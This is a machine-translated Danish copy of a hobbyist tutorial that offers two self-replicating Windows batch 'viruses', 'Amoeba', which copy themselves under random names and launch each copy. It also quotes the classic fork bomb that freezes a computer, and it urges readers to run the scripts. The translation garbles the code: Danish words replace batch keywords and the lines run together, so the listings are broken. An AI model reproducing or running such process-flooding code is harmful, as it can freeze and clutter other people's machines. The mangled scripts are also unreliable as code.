Indholdsfortegnelse:

Den frygtede Amoeba -virus ved hjælp af batch -script: 3 trin
Den frygtede Amoeba -virus ved hjælp af batch -script: 3 trin

Video: Den frygtede Amoeba -virus ved hjælp af batch -script: 3 trin

Video: Den frygtede Amoeba -virus ved hjælp af batch -script: 3 trin
Video: Frygtpolitik 2024, Juli
Anonim
Den frygtede Amoeba -virus ved hjælp af batch -script
Den frygtede Amoeba -virus ved hjælp af batch -script

Hvis du er interesseret i kodning eller batch -scripting, kan du tjekke min seneste Ible her. Jeg lærte om protista i min Bio -klasse. Vi kom til at jage efter levende amøber under et mikroskop. Ikke meget brug i livet, men det gav mig en idé om, hvad jeg skal kalde min nyeste virus. Som nogle mennesker har postet, replikerer en virus ved definitionen. Tja, jeg er stolt over at sige, at Amoeba -virusene gør netop det!

Trin 1: Den nedbrydende amøbe

Den nedbrydende amøbe
Den nedbrydende amøbe

Jeg har fundet instruktioner til sjov, der går som følger: @echo off: Topstart %0goto TopThey starter sig selv igen og igen, og det nystartede program følger trop, indtil computeren fryser. Amøberne gør dette, men de efterlader mange, mange flere Amøber end der eksisterede i starten. Denne lille virus kører, skaber et tilfældigt navn og kopierer derefter sig selv, ligesom binær fission. Slags. Processen gentages, hvor programmet starter hver ny virus, som derefter reproduceres. Man bliver til tre, der bliver til ni osv. Efter at have kopieret sig selv tre gange, sletter hvert program sig selv, dør effektivt og nedbrydes. Batch -scriptet er som følger: @echo offcolor 02title Amoebaset/a life = 3: Topif %life %== 0 (del%0) sætnavn =: Loopset / et navnenummer =%RANDOM% / (32767 /25) sæt / et navnenummer =%RANDOM% / (32767 /25) sæt / et navnenummer =%RANDOM% / (32767 / 25) if%namenumber%== 0 set name = A%name%if%namenumber%== 1 set name = B%name%if%namenumber%== 2 set name = D%name%if%namenumber%== 3 sætnavn = D%navn%hvis%navnenummer%== 4 sætnavn = E%navn%hvis%navnenummer%== 5 sætnavn = F%navn%hvis%navnenummer%== 6 sætnavn = G%navn% hvis%navnenummer%== 7 sætnavn = H%navn%hvis%navnenummer%== 8 sætnavn = I%navn%hvis%navnenummer%== 9 sætnavn = J%navn%hvis%navnenummer%== 10 sæt navn = K%navn%hvis%navnenummer%== 11 sætnavn = L%navn%hvis%navnenummer%== 12 sætnavn = M%navn%hvis%navnenummer%== 13 sætnavn = N%navn%hvis% navnenummer%== 14 sætnavn = O%navn%hvis%navnenummer%== 15 sætnavn = P%navn%hvis%navnenummer%== 16 sætnavn = Q%navn%hvis%navnenummer%== 17 sæt nam e = R%navn%hvis%navnenummer%== 18 sætnavn = S%navn%hvis%navnenummer%== 19 sætnavn = T%navn%hvis%navnenummer%== 20 sætnavn = U%navn%hvis% navnenummer%== 21 sætnavn = V%navn%hvis%navnenummer%== 22 sætnavn = W%navn%hvis%navnenummer%== 23 sætnavn = X%navn%hvis%navnenummer%== 24 sætnavn = Y%name%if%namenumber%== 25 set name = Z%name%if EXIST%name%.bat goto Loopcopy%0%name%.bat> nulstart /min%name%.batset /a life =%life% -1 gå til TopAs med alle Batch -filer, navngiv dette program "Amoeba.bat", og gem som "Alle programfiler". Kør det derefter og ryd op i rodet.

Trin 2: Den fossile amøbe

Den fossile amøbe
Den fossile amøbe

Fossiliserende amøbe er nøjagtig det samme som nedbrydende amøbe, bortset fra at den kun gengiver to gange, ved slutningen omdøber den sig selv som en databasefil og efterlader en ubrugelig fil eller "fossil". Scriptet går således: @echo offcolor 02title Amoebaset/a life = 2: Topif%life%== 0 (rename%0%name%.dat) set name =: Loopset/a navenummer =%RANDOM%/(32767/25) set/a namenummer =% RANDOM% / (32767 /25) sæt / a navnenummer =%RANDOM% / (32767 /25) hvis%navnenummer%== 0 sætnavn = Et%navn%hvis%navnenummer%== 1 sætnavn = B%navn% hvis%navnenummer%== 2 sætnavn = D%navn%hvis%navnenummer%== 3 sætnavn = D%navn%hvis%navnenummer%== 4 sætnavn = E%navn%hvis%navnenummer%== 5 sæt name = F%name%if%namenumber%== 6 set name = G%name%if%namenumber%== 7 set name = H%name%if%namenumber%== 8 set name = I%name%if% navnenummer%== 9 sætnavn = J%navn%hvis%navnenummer%== 10 sætnavn = K%navn%hvis%navnenummer%== 11 sætnavn = L%navn%hvis%navnenummer%== 12 sætnavn = M%navn%hvis%navnenummer%== 13 sætnavn = N%navn%hvis%navnenummer%== 14 sætnavn = O%navn%hvis%navnenummer%== 15 sætnavn = P%name%if%namenumber%== 16 set name = Q%name%if%namenumber%== 17 set name = R%name%if%namenumber%== 18 set name = S%name%if%namenumber %== 19 sætnavn = T%navn%hvis%navnenummer%== 20 sætnavn = U%navn%hvis%navnenummer%== 21 sætnavn = V%navn%hvis%navnenummer%== 22 sætnavn = W %name%if%namenumber%== 23 set name = X%name%if%namenumber%== 24 set name = Y%name%if%namenumber%== 25 set name = Z%name%if EXIST%name%.bat goto Loopif EXIST%name%.dat goto Loopcopy%0%name%.bat> nulstart /min%name%.batset /a life =%life%-1go TopOnce again save as "Amoeba.bat".

Trin 3: Organismeksplosionen

Organismeeksplosionen
Organismeeksplosionen

Hvis du modregner en, skal du fortælle mig, hvordan det fungerede. Hav det sjovt! ***************************** El Mano: Byg din egen CMD -promptHvordan skjuler du computerfiler for de teknisk analfabeter Hold øje med at fungere fantastiskThis simpel sundhedsafbryder vil holde dig varm ******************************

Anbefalede: